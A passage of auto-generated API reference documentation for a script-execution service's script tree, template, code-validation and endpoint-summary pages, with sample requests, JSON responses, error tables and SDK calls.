| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `FORBIDDEN` | Access denied | Insufficient permissions for this operation | Contact administrator for access |


```json
{
  "error": "NOT_FOUND",
  "code": "NOT_FOUND",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Resource not found | The requested resource does not exist | Verify the resource identifier |


```json
{
  "error": "CONFLICT",
  "code": "CONFLICT",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONFLICT` | Resource conflict | Operation conflicts with existing resource state | Check resource state and retry |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```



---

### `POST /api/v1/exec/scripts/tree`

Get a hierarchical tree representation of the script directory. Depth and per-node metadata are controllable.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `execId` | query | string | No | Optional execution scope. When provided, relative paths resolve under default/&#123;execId&#125;/ unless subdomain is also set. Query value takes precedence over body. |
| `exec_id` | query | string | No | Alias for execId (snake_case). |
| `subdomain` | query | string | No | Optional subdomain namespace used with execId for path resolution. |

**Request body**

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `baseDir` | string | No | `""` | Base Dir |
| `maxDepth` | integer | No | `10` | Max Depth |
| `includeMetadata` | boolean | No | `false` | Include Metadata |
| `execId` | string | No | — | Optional execution scope in request body. Query execId/exec_id takes precedence when both are provided. |
| `exec_id` | string | No | — | Alias for execId (snake_case). |
| `subdomain` | string | No | — | Optional subdomain namespace used with execId for path resolution. |



```bash
curl -X POST "https://api.hoody.com/api/v1/exec/scripts/tree" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "baseDir": "scripts/handlers",
    "maxDepth": 5,
    "includeMetadata": true
  }'
```


```ts
const result = await client.exec.scripts.getTree({
  data: {
    baseDir: "scripts/handlers",
    maxDepth: 5,
    includeMetadata: true
  }
});
```


```json
{
  "baseDir": "scripts/handlers",
  "tree": [
    {
      "name": "a.ts",
      "path": "scripts/handlers/a.ts",
      "type": "file",
      "size": 1280,
      "children": []
    },
    {
      "name": "sub",
      "path": "scripts/handlers/sub",
      "type": "directory",
      "children": [
        {
          "name": "b.ts",
          "path": "scripts/handlers/sub/b.ts",
          "type": "file",
          "size": 980,
          "children": []
        }
      ]
    }
  ]
}
```



**Response statuses**



Success.


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "FORBIDDEN",
  "code": "FORBIDDEN",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `FORBIDDEN` | Access denied | Insufficient permissions for this operation | Contact administrator for access |


```json
{
  "error": "NOT_FOUND",
  "code": "NOT_FOUND",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Resource not found | The requested resource does not exist | Verify the resource identifier |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2024-01-15T10:30:00.000Z",
  "details": {}
}
```




The `execId` / `exec_id` / `subdomain` triple is shared across all script operations. When both query and body values are supplied, the query value always wins. Use `subdomain` to scope to a tenant or team namespace, and use `execId` to target a specific execution context — relative paths will then resolve under `default/{execId}/`.

---

# Script Templates

**Page:** api/exec/templates

[Download Raw Markdown](./api/exec/templates.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Script Templates

Use these endpoints to list built-in and custom script templates, preview a template with variable substitution, generate code from a template, and create, update, or delete custom templates stored under `_hoody/templates/`.

## List Templates

`GET /api/v1/exec/templates/list`

Returns the set of available script templates. By default, both built-in and user-supplied templates are included. Results can be filtered by metadata category.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `category` | query | string | No | Filter templates to a single metadata category (e.g. `api`, `utility`). Omit to list all categories. |
| `includeBuiltin` | query | boolean | No | Include built-in templates in the result set. Default `true`. Accepts `true`/`false`/`1`/`0`. |
| `includeCustom` | query | boolean | No | Include user-supplied templates (from `_hoody/templates/`) in the result set. Default `true`. |

### Response



```json
{
  "count": 2,
  "templates": [
    {
      "name": "fetch-json",
      "metadata": {
        "category": "api",
        "tags": ["http", "fetch"],
        "description": "Fetch a JSON resource and print the body.",
        "params": ["url"],
        "version": "1.0.0",
        "author": "hoody"
      }
    },
    {
      "name": "log-timestamp",
      "metadata": {
        "category": "utility",
        "tags": ["log"],
        "description": "Print a timestamped log line.",
        "params": ["message"],
        "version": "1.0.0",
        "author": "hoody"
      }
    }
  ]
}
```


```json
{
  "error": "Invalid parameter format",
  "code": "VALIDATION_ERROR",
  "timestamp": "2025-01-15T12:34:56.789Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z"
}
```



### SDK Usage

```ts
const result = await client.exec.templates.list({
  category: "api",
  includeBuiltin: true,
  includeCustom: true,
});
```

## Preview Template

`GET /api/v1/exec/templates/preview`

Renders a template by name, returning both the original source and the code with the supplied variables substituted. Useful for inspecting what a generation call will produce before writing it to disk.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `name` | query | string | Yes | Name query parameter |
| `variables` | query | string | No | Variables query parameter |

### Response



```json
{
  "template": {
    "name": "fetch-json",
    "metadata": {
      "category": "api",
      "tags": ["http", "fetch"],
      "description": "Fetch a JSON resource and print the body.",
      "params": ["url"],
      "version": "1.0.0",
      "author": "hoody"
    },
    "code": "const res = await fetch('https://api.example.com/items');\nconsole.log(await res.json());",
    "originalCode": "const res = await fetch('{{url}}');\nconsole.log(await res.json());",
    "substituted": true
  }
}
```


```json
{
  "error": "Invalid parameter format",
  "code": "VALIDATION_ERROR",
  "timestamp": "2025-01-15T12:34:56.789Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Resource not found",
  "code": "NOT_FOUND",
  "timestamp": "2025-01-15T12:34:56.789Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Resource not found | The requested resource does not exist | Verify the resource identifier |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z"
}
```



### SDK Usage

```ts
const result = await client.exec.templates.preview({
  name: "fetch-json",
  variables: "{\"url\":\"https://api.example.com/items\"}",
});
```

## Create Custom Template

`POST /api/v1/exec/templates/create-custom`

Persists a new custom template under `_hoody/templates/`. The request body is required but its schema is intentionally open-ended; the server validates the structural fields internally.

### Request Body

This endpoint accepts a JSON payload. No specific fields are documented in the spec.

### Response



```json
{
  "created": true,
  "name": "fetch-json",
  "path": "/workspace/_hoody/templates/fetch-json.js",
  "metadata": {
    "name": "fetch-json",
    "category": "api",
    "tags": ["http", "fetch"],
    "description": "Fetch a JSON resource and print the body.",
    "params": ["url"],
    "version": "1.0.0",
    "author": "hoody"
  }
}
```


```json
{
  "error": "Invalid parameter format",
  "code": "VALIDATION_ERROR",
  "timestamp": "2025-01-15T12:34:56.789Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Access denied",
  "code": "FORBIDDEN",
  "timestamp": "2025-01-15T12:34:56.789Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `FORBIDDEN` | Access denied | Insufficient permissions for this operation | Contact administrator for access |


```json
{
  "error": "Resource already exists",
  "code": "CONFLICT",
  "timestamp": "2025-01-15T12:34:56.789Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONFLICT` | Resource conflict | Operation conflicts with existing resource state | Check resource state and retry |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z"
}
```



### SDK Usage

```ts
const result = await client.exec.templates.createCustom({
  data: {
    /* template payload */
  },
});
```

## Generate From Template

`POST /api/v1/exec/templates/generate`

Generates code from a named template, substituting the provided variables. Optionally writes the generated file to `outputPath` when `saveFile` is `true`.

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `name` | string | Yes | Name |
| `variables` | object | No | Variables |
| `outputPath` | string | No | Output Path |
| `saveFile` | boolean | No | Save File. Default `false` |

### Response



```json
{
  "generated": true,
  "template": "fetch-json",
  "code": "const res = await fetch('https://api.example.com/items');\nconsole.log(await res.json());",
  "saved": false,
  "path": null,
  "variables": {
    "url": "https://api.example.com/items"
  }
}
```


```json
{
  "error": "Invalid parameter format",
  "code": "VALIDATION_ERROR",
  "timestamp": "2025-01-15T12:34:56.789Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Access denied",
  "code": "FORBIDDEN",
  "timestamp": "2025-01-15T12:34:56.789Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `FORBIDDEN` | Access denied | Insufficient permissions for this operation | Contact administrator for access |


```json
{
  "error": "Resource not found",
  "code": "NOT_FOUND",
  "timestamp": "2025-01-15T12:34:56.789Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Resource not found | The requested resource does not exist | Verify the resource identifier |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z"
}
```



### SDK Usage

```ts
const result = await client.exec.templates.generate({
  data: {
    name: "fetch-json",
    variables: { url: "https://api.example.com/items" },
    outputPath: "scripts/fetch.js",
    saveFile: false,
  },
});
```

## Update Custom Template

`PUT /api/v1/exec/templates/update-custom/:name`

Patches an existing custom template. The `:name` path segment identifies the template. The request body can supply new code and/or a metadata patch that is merged with the existing metadata.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `name` | path | string | Yes | Name parameter |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `code` | string | No | Code |
| `metadata` | object | No | Metadata |

### Response



```json
{
  "updated": true,
  "name": "fetch-json",
  "metadata": {
    "category": "api",
    "tags": ["http", "fetch", "retry"],
    "description": "Fetch a JSON resource and print the body.",
    "params": ["url", "retries"],
    "version": "1.1.0",
    "author": "hoody"
  }
}
```


```json
{
  "error": "Invalid parameter format",
  "code": "VALIDATION_ERROR",
  "timestamp": "2025-01-15T12:34:56.789Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Resource not found",
  "code": "NOT_FOUND",
  "timestamp": "2025-01-15T12:34:56.789Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Resource not found | The requested resource does not exist | Verify the resource identifier |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z"
}
```



### SDK Usage

```ts
const result = await client.exec.templates.updateCustom({
  name: "fetch-json",
  data: {
    code: "const res = await fetch('{{url}}');\nconsole.log(await res.json());",
    metadata: { version: "1.1.0", tags: ["http", "fetch", "retry"] },
  },
});
```

## Delete Custom Template

`DELETE /api/v1/exec/templates/delete-custom/:name`

Removes a custom template from `_hoody/templates/`. Built-in templates cannot be deleted through this endpoint.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `name` | path | string | Yes | Name parameter |

### Response



```json
{
  "deleted": true,
  "name": "fetch-json"
}
```


```json
{
  "error": "Invalid parameter format",
  "code": "VALIDATION_ERROR",
  "timestamp": "2025-01-15T12:34:56.789Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Resource not found",
  "code": "NOT_FOUND",
  "timestamp": "2025-01-15T12:34:56.789Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Resource not found | The requested resource does not exist | Verify the resource identifier |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z"
}
```



### SDK Usage

```ts
const result = await client.exec.templates.deleteCustom({
  name: "fetch-json",
});
```

---

# Code Validation

**Page:** api/exec/validation

[Download Raw Markdown](./api/exec/validation.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



# Code Validation

Validate script source code across multiple dimensions: syntax, TypeScript transpilation, runtime dependencies, magic comments, and return type conformance. Use these endpoints to lint user-submitted scripts before execution, surface dependency gaps, or extract structured metadata from inline annotations.

All endpoints accept a JSON body containing the source code (and optionally a type definition and value), and return structured validation results.

---

## Validate Script

`POST /api/v1/exec/validate/script`

Run a full validation pass against a script: syntax check, TypeScript transpilation, dependency inspection, and magic comment parsing — all in one call.

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `code` | string | Yes | Code |

### Response



```json
{
  "valid": true,
  "results": {
    "syntax": {
      "valid": true,
      "message": "JavaScript syntax is valid"
    },
    "typescript": {
      "valid": true,
      "transpiledLength": 1248
    },
    "dependencies": {
      "total": 3,
      "installed": 2,
      "missing": 1,
      "missingModules": ["lodash"],
      "allInstalled": false
    },
    "magicComments": {
      "endpoint": "GET /users"
    },
    "normalized": true,
    "transformations": ["trim", "stripBom"]
  },
  "message": "Script validation completed"
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {
    "field": "code",
    "issue": "must be a non-empty string"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```



### SDK

```ts
const result = await client.exec.validate.validateScript({
  data: {
    code: "import _ from 'lodash';\nexport default function() { return _.range(1, 10); }"
  }
});
```

---

## Validate Syntax

`POST /api/v1/exec/validate/syntax`

Check that a script is syntactically valid JavaScript. Returns the normalized form and any transformations applied during normalization.

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `code` | string | Yes | Code |

### Response



```json
{
  "valid": true,
  "message": "JavaScript syntax is valid",
  "codeLength": 1024,
  "normalized": true,
  "transformations": ["trim", "stripBom", "stripShebang"]
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {
    "field": "code",
    "issue": "must be a non-empty string"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```



### SDK

```ts
const result = await client.exec.validate.validateSyntax({
  data: {
    code: "function add(a, b) { return a + b; }"
  }
});
```

---

## Validate TypeScript

`POST /api/v1/exec/validate/typescript`

Transpile TypeScript source to JavaScript and verify the transpilation succeeds. Returns the generated JavaScript output and a list of normalization transformations.

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `code` | string | Yes | Code |

### Response



```json
{
  "valid": true,
  "javascript": "function add(a, b) { return a + b; }",
  "originalLength": 1280,
  "transpiledLength": 960,
  "normalized": true,
  "transformations": ["trim", "stripBom", "stripTypeAnnotations"],
  "message": "TypeScript validation successful"
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {
    "field": "code",
    "issue": "must be a non-empty string"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```



### SDK

```ts
const result = await client.exec.validate.validateTypeScript({
  data: {
    code: "interface User { id: number; name: string; }\nfunction greet(u: User) { return u.name; }"
  }
});
```

---

## Validate Dependencies

`POST /api/v1/exec/validate/dependencies`

Inspect a script for `import` statements and `require()` calls, then report which modules are missing from the runtime environment. Useful for surfacing installation requirements before execution.

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `code` | string | Yes | Code |

### Response



```json
{
  "totalModules": 4,
  "allInstalled": false,
  "missingCount": 1,
  "missingModules": ["axios"],
  "dependencies": [
    { "module": "lodash", "installed": true },
    { "module": "axios", "installed": false },
    { "module": "fs", "installed": true },
    { "module": "path", "installed": true }
  ],
  "message": "1 module is missing",
  "installCommand": "npm install axios"
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {
    "field": "code",
    "issue": "must be a non-empty string"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```



### SDK

```ts
const result = await client.exec.validate.validateDependencies({
  data: {
    code: "import axios from 'axios';\nimport _ from 'lodash';\nexport default async function() { return _.head(await axios.get('https://api.example.com')); }"
  }
});
```

---

## Validate Magic Comments

`POST /api/v1/exec/validate/magic-comments`

Parse inline magic comments (e.g. `/* endpoint: ... */`, `/* timeout: ... */`) and the declared return type from a script. Returns the structured metadata extracted from annotations.

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `code` | string | Yes | Code |

### Response



```json
{
  "magicComments": {
    "endpoint": "POST /orders",
    "timeout": 5000,
    "schedule": "0 */6 * * *"
  },
  "returnType": {
    "definition": "{ orderId: string, status: 'pending' | 'confirmed' }",
    "mode": "strict",
    "location": "line 3, column 18"
  },
  "message": "Magic comments parsed successfully"
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {
    "field": "code",
    "issue": "must be a non-empty string"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```



### SDK

```ts
const result = await client.exec.validate.validateMagicComments({
  data: {
    code: "/* endpoint: POST /orders */\n/* timeout: 5000 */\n/** @returns {{ orderId: string, status: 'pending' | 'confirmed' }} */\nexport default function() { return { orderId: 'abc', status: 'pending' }; }"
  }
});
```

---

## Validate Return Type

`POST /api/v1/exec/validate/return-type`

Verify that a JSON value conforms to a declared TypeScript-style type definition. Returns whether the value matches, a list of validation errors (if any), and a parsed representation of the type.

This endpoint takes no parameters.

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `typeDefinition` | string | Yes | Type Definition |
| `value` | object | Yes | Arbitrary JSON value to validate against the declared return type |

### Response



```json
{
  "valid": true,
  "errors": [],
  "typeDefinition": "{ id: number, name: string, tags: string[] }",
  "parsedType": {
    "kind": "object",
    "properties": {
      "id": { "kind": "primitive", "type": "number" },
      "name": { "kind": "primitive", "type": "string" },
      "tags": { "kind": "array", "element": { "kind": "primitive", "type": "string" } }
    }
  },
  "message": "Value conforms to declared return type"
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "VALIDATION_ERROR",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {
    "field": "typeDefinition",
    "issue": "must be a non-empty string"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```



### SDK

```ts
const result = await client.exec.validate.validateReturnType({
  data: {
    typeDefinition: "{ id: number, name: string, tags: string[] }",
    value: { id: 42, name: "ada", tags: ["admin", "user"] }
  }
});
```

---

# Exec:Cache

**Page:** api/exec-cache

[Download Raw Markdown](./api/exec-cache.md)

---

## API Endpoints Summary

- **POST** `/api/v1/exec/cache/clear` — Clear Cache

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Exec:Dependencies

**Page:** api/exec-dependencies

[Download Raw Markdown](./api/exec-dependencies.md)

---

## API Endpoints Summary

- **GET** `/api/v1/exec/dependencies/bundled` — List Bundled Dependencies
- **POST** `/api/v1/exec/dependencies/check` — Check Dependencies
- **POST** `/api/v1/exec/dependencies/install` — Install Dependencies

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Exec:Health

**Page:** api/exec-health

[Download Raw Markdown](./api/exec-health.md)

---

## API Endpoints Summary

- **GET** `/api/v1/exec/health` — Health Check

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Exec:List

**Page:** api/exec-list

[Download Raw Markdown](./api/exec-list.md)

---

## API Endpoints Summary

- **GET** `/api/v1/exec/list` — List All Exec Ids

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Exec:Logs

**Page:** api/exec-logs

[Download Raw Markdown](./api/exec-logs.md)

---

## API Endpoints Summary

- **GET** `/api/v1/exec/logs/list` — List Logs
- **POST** `/api/v1/exec/logs/read` — Read Log
- **GET** `/api/v1/exec/logs/stream` — Stream Logs
- **POST** `/api/v1/exec/logs/search` — Search Logs
- **DELETE** `/api/v1/exec/logs/clear` — Clear Logs

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Exec:Magic-comments

**Page:** api/exec-magic-comments

[Download Raw Markdown](./api/exec-magic-comments.md)

---

## API Endpoints Summary

- **GET** `/api/v1/exec/magic-comments/schema` — Get Magic Comments Schema
- **GET** `/api/v1/exec/magic-comments/read` — Read Magic Comments
- **PUT** `/api/v1/exec/magic-comments/update` — Update Magic Comments Handler
- **POST** `/api/v1/exec/magic-comments/bulk-update` — Bulk Update Magic Comments

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Exec:Monitor

**Page:** api/exec-monitor

[Download Raw Markdown](./api/exec-monitor.md)

---

## API Endpoints Summary

- **GET** `/api/v1/exec/monitor/stats` — Get Stats
- **GET** `/api/v1/exec/monitor/active-requests` — Get Active Requests
- **GET** `/api/v1/exec/monitor/scripts` — List Scripts
- **POST** `/api/v1/exec/monitor/script-performance` — Get Script Performance
- **GET** `/api/v1/exec/monitor/metrics` — Prometheus Export

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Exec:Package

**Page:** api/exec-package

[Download Raw Markdown](./api/exec-package.md)

---

## API Endpoints Summary

- **GET** `/api/v1/exec/package/read` — Read Package Json
- **POST** `/api/v1/exec/package/update` — Update Package Json
- **POST** `/api/v1/exec/package/install` — Install Packages
- **POST** `/api/v1/exec/package/compare` — Compare Packages
- **POST** `/api/v1/exec/package/pin` — Pin Versions
- **POST** `/api/v1/exec/package/init` — Init Package Json

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Exec:Route

**Page:** api/exec-route

[Download Raw Markdown](./api/exec-route.md)

---

## API Endpoints Summary

- **POST** `/api/v1/exec/route/resolve` — Resolve Route
- **POST** `/api/v1/exec/route/discover` — Discover Routes
- **POST** `/api/v1/exec/route/test` — Test Route

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Exec:Schedules

**Page:** api/exec-schedules

[Download Raw Markdown](./api/exec-schedules.md)

---

## API Endpoints Summary

- **GET** `/api/v1/exec/schedules/list` — List Schedules
- **POST** `/api/v1/exec/schedules/trigger` — Trigger Schedule
- **POST** `/api/v1/exec/schedules/reload` — Reload Schedules
- **GET** `/api/v1/exec/schedules/history` — Schedule History

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Exec:Script Execution

**Page:** api/exec-script-execution

[Download Raw Markdown](./api/exec-script-execution.md)

---

## API Endpoints Summary

- **POST** `/{path}` — Execute Script (POST)

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Exec:Scripts

**Page:** api/exec-scripts

[Download Raw Markdown](./api/exec-scripts.md)

---

## API Endpoints Summary

- **GET** `/api/v1/exec/scripts/read` — Read Script
- **POST** `/api/v1/exec/scripts/write` — Write Script
- **DELETE** `/api/v1/exec/scripts/delete` — Delete Script
- **GET** `/api/v1/exec/scripts/list` — List Scripts
- **POST** `/api/v1/exec/scripts/tree` — Get Script Tree
- **POST** `/api/v1/exec/scripts/move` — Move Script

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Exec:Sdk

**Page:** api/exec-sdk

[Download Raw Markdown](./api/exec-sdk.md)

---

## API Endpoints Summary

- **POST** `/api/v1/exec/sdk/import` — Import S D K
- **GET** `/api/v1/exec/sdk/list` — List S D Ks
- **GET** `/api/v1/exec/sdk/:id` — Get S D K
- **DELETE** `/api/v1/exec/sdk/:id` — Delete S D K

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Exec:Shared-state

**Page:** api/exec-shared-state

[Download Raw Markdown](./api/exec-shared-state.md)

---

## API Endpoints Summary

- **POST** `/api/v1/exec/shared-state/get` — Get Shared State
- **POST** `/api/v1/exec/shared-state/set` — Set Shared State
- **POST** `/api/v1/exec/shared-state/clear` — Clear Shared State

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Exec:System

**Page:** api/exec-system

[Download Raw Markdown](./api/exec-system.md)

---

## API Endpoints Summary

- **POST** `/api/v1/exec/system/restart` — Restart Server
- **GET** `/api/v1/exec/system/restart-status` — Get Restart Status

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Exec:Templates

**Page:** api/exec-templates

[Download Raw Markdown](./api/exec-templates.md)

---

## API Endpoints Summary

- **GET** `/api/v1/exec/templates/list` — List Templates
- **GET** `/api/v1/exec/templates/preview` — Preview Template
- **POST** `/api/v1/exec/templates/generate` — Generate From Template
- **POST** `/api/v1/exec/templates/create-custom` — Create Custom Template
- **PUT** `/api/v1/exec/templates/update-custom/:name` — Update Custom Template
- **DELETE** `/api/v1/exec/templates/delete-custom/:name` — Delete Custom Template

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Exec:User-openapi

**Page:** api/exec-user-openapi

[Download Raw Markdown](./api/exec-user-openapi.md)

---

## API Endpoints Summary

- **POST** `/api/v1/exec/user-openapi/generate` — Generate User Open A P I
- **GET** `/api/v1/exec/user-openapi/list` — List User Scripts
- **POST** `/api/v1/exec/user-openapi/validate` — Validate User Schema
- **GET** `/api/v1/exec/user-openapi/schema` — Serve Schema File
- **GET** `/api/v1/exec/user-openapi/spec` — Serve Generated Spec
- **POST** `/api/v1/exec/user-openapi/merge` — Merge Open A P I Specs

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Exec:Validate

**Page:** api/exec-validate

[Download Raw Markdown](./api/exec-validate.md)

---

## API Endpoints Summary

- **POST** `/api/v1/exec/validate/typescript` — Validate Type Script
- **POST** `/api/v1/exec/validate/syntax` — Validate Syntax
- **POST** `/api/v1/exec/validate/dependencies` — Validate Dependencies
- **POST** `/api/v1/exec/validate/return-type` — Validate Return Type
- **POST** `/api/v1/exec/validate/magic-comments` — Validate Magic Comments
- **POST** `/api/v1/exec/validate/script` — Validate Script

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Backend Connections

